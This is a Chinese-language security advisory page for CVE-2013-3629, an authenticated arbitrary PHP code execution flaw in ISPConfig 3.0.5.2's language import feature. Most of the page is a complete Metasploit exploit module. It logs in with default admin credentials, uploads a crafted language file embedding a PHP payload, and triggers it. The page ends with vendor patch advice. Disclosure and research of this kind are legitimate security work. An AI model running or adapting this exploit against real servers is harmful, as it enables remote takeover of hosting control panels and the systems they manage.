当前位置: 首页 > 服务与支持 > 产品升级公告 > 安全漏洞公告

服务与支持Support

ISPConfig \'/content.php\'任意PHP代码执行漏洞

信息来源:Brandon Perry      发表日期:2013-02-15 16:30:00

ISPConfig是开源的、BSD许可的、Linux主机控制面板,用于管理Apache、BIND、FTP及数据库,支持许多Linux发行版。

 

ISPConfig 3.0.5.2版本的/content.php 脚本解析语言文件时会触发任意PHP代码执行漏洞,导致覆盖系统上之前的语言文件,在Web服务器上下文中执行任意PHP代码。

 

BUGTRAQ-ID:63455

CVE-ID:2013-3629

受影响系统:

ispconfig ispconfig 3.0.5.2

 

测试方法:

警  告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

 

require \'msf/core\'

 

class Metasploit4 < Msf::Exploit::Remote

  Rank = ExcellentRanking

 

  include Msf::Exploit::Remote::HttpClient

 

  def initialize(info = {})

    super(update_info(info,

      \'Name\' => \'ISPConfig Authenticated Arbitrary PHP Code Execution\',

      \'Description\' => %q{

      ISPConfig allows an authenticated administrator to export language settings into a PHP script

      which is intended to be reuploaded later to restore language settings. This feature

      can be abused to run aribtrary PHP code remotely on the ISPConfig server.

 

      This module was tested against version 3.0.5.2.

      },

      \'Author\' =>

        [

          \'Brandon Perry <bperry.volatile[at]gmail.com>\' # Discovery / msf module

        ],

      \'License\' => MSF_LICENSE,

      \'References\' =>

        [

          [\'CVE\', \'2013-3629\'],

          [\'URL\', \'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats\']

        ],

      \'Privileged\' => false,

      \'Platform\'   => [\'php\'],

      \'Arch\'       => ARCH_PHP,

      \'Payload\'    =>

        {

          \'BadChars\' => "&\\n=+%",

        },

      \'Targets\' =>

        [

          [ \'Automatic\', { } ],

        ],

      \'DefaultTarget\'  => 0,

      \'DisclosureDate\' => \'Oct 30 2013\'))

      register_options(

      [

        OptString.new(\'TARGETURI\', [ true, "Base ISPConfig directory path", \'/\']),

        OptString.new(\'USERNAME\', [ true, "Username to authenticate with", \'admin\']),

        OptString.new(\'PASSWORD\', [ false, "Password to authenticate with", \'admin\']),

        OptString.new(\'LANGUAGE\', [ true, "The language to use to trigger the payload", \'es\'])

      ], self.class)

  end

 

  def check

  end

 

  def lng

    datastore[\'LANGUAGE\']

  end

 

  def exploit

 

    init = send_request_cgi({

      \'method\' => \'GET\',

      \'uri\' => normalize_uri(target_uri.path, \'/index.php\')

    })

 

    if !init or init.code != 200

      fail_with("Error getting initial page.")

    end

 

    sess = init.get_cookies

 

    post = {

      \'username\' => datastore["USERNAME"],

      \'passwort\' => datastore["PASSWORD"],

      \'s_mod\' => \'login\',

      \'s_pg\' => \'index\'

    }

 

    print_status("Authenticating as user: " << datastore["USERNAME"])

 

    login = send_request_cgi({

      \'method\' => \'POST\',

      \'uri\' => normalize_uri(target_uri.path, \'/content.php\'),

      \'vars_post\' => post,

      \'cookie\' => sess

    })

 

    if !login or login.code != 200

      fail_with("Error authenticating.")

    end

 

    sess = login.get_cookies

    fname = rand_text_alphanumeric(rand(10)+6) + \'.lng\'

    php = "---|ISPConfig Language File|3.0.5.2|#{lng}\\n"

    php << "--|global|#{lng}|#{lng}.lng\\n"

    php << "<?php \\n"

    php << payload.encoded

    php << "?>\\n"

    php << "--|mail|#{lng}|#{lng}.lng\\n"

    php << "<?php"

    php << "?>"

 

    data = Rex::MIME::Message.new

    data.add_part(php, \'application/x-php\', nil, "form-data; name=\\"file\\"; filename=\\"#{fname }\\"")

    data.add_part(\'1\', nil, nil, \'form-data; name="overwrite"\')

    data.add_part(\'1\', nil, nil, \'form-data; name="ignore_version"\')

    data.add_part(\'\', nil, nil, \'form-data; name="id"\')

 

    data_post = data.to_s

 

    print_status("Sending payload")

    send_request_cgi({

      \'method\' => \'POST\',

      \'uri\' => normalize_uri(target_uri.path, \'/admin/language_import.php\'),

      \'ctype\' => "multipart/form-data; boundary=#{data.bound}",

      \'data\' => data_post,

      \'cookie\' => sess

    })

 

    post = {

      \'lng_select\' => \'es\'

    }

 

    print_status("Triggering payload...")

    send_request_cgi({

      \'method\' => \'POST\',

      \'uri\' => normalize_uri(target_uri.path, \'/admin/language_complete.php\'),

      \'vars_post\' => post,

      \'cookie\' => sess

    })

  end

end

解决办法:

厂商补丁:

 

ispconfig

---------

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

 

http://www.ispconfig.org/page/home.html

参考信息:

http://osvdb.org/show/osvdb/99146